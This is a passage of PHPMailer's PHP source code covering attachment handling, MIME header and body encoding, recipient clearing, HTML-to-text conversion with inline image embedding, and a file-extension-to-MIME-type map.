        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
